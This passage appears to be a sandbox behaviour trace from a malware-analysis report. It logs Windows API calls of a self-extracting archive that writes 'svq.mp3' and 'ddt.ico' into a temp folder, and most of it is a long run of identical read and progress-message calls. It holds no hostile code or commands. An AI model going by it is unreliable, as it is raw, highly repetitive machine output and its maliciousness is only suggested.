returned 0 [0067.925] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.925] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.925] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.925] GetTickCount () returned 0x1f9a9 [0067.925] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.925] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.925] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.925] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.925] GetTickCount () returned 0x1f9a9 [0067.925] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.925] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x164, lpOverlapped=0x0) returned 1 [0067.926] GetTickCount () returned 0x1f9a9 [0067.926] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.926] SetFilePointer (in: hFile=0x1c, lDistanceToMove=470965, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0x72fb5 [0067.926] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.926] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.926] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.926] CloseHandle (hObject=0x138) returned 1 [0067.927] SetFileAttributesA (lpFileName="svq.mp3", dwFileAttributes=0x20) returned 1 [0067.927] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x72fb5 [0067.927] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.927] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.927] OemToCharA (in: pSrc="ddt.ico", pDst=0x179cc0 | out: pDst="ddt.ico") returned 1 [0067.927] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="ddt.ico", cchCount2=1) returned 1 [0067.927] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="ddt.ico", cchCount2=6) returned 1 [0067.927] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="ddt.ico", cchCount2=-1) returned 1 [0067.927] SetFilePointer (in: hFile=0x1c, lDistanceToMove=471009, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0x72fe1 [0067.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="ddt.ico") returned 8 [0067.927] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.927] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting ddt.ico") returned 18 [0067.927] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting ddt.ico") returned 1 [0067.927] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.928] OemToCharBuffA (in: lpszSrc="d", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="d") returned 1 [0067.928] CharToOemBuffA (in: lpszSrc="D", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="D") returned 1 [0067.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="ddt.ico") returned 8 [0067.928] FindFirstFileW (in: lpFileName="ddt.ico", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.928] GetLastError () returned 0x2 [0067.928] GetFileAttributesA (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico")) returned 0xffffffff [0067.928] CreateFileA (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.928] GetFileType (hFile=0x138) returned 0x1 [0067.928] SetFilePointer (in: hFile=0x138, lDistanceToMove=349, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x15d [0067.928] SetEndOfFile (hFile=0x138) returned 1 [0067.928] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.928] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x12b, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x12b, lpOverlapped=0x0) returned 1 [0067.928] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.928] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.928] GetTickCount () returned 0x1f9a9 [0067.928] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.928] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.928] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.928] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.928] GetTickCount () returned 0x1f9a9 [0067.928] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.928] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.929] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.929] GetTickCount () returned 0x1f9a9 [0067.929] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.929] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.929] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.930] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.930] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.930] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.930] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.930] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.931] GetTickCount () returned 0x1f9a9 [0067.931] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.931] ReadFile (in: hFile=0x1c, lpBuffer=0x2703b3, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2703b3*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.931] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.931] 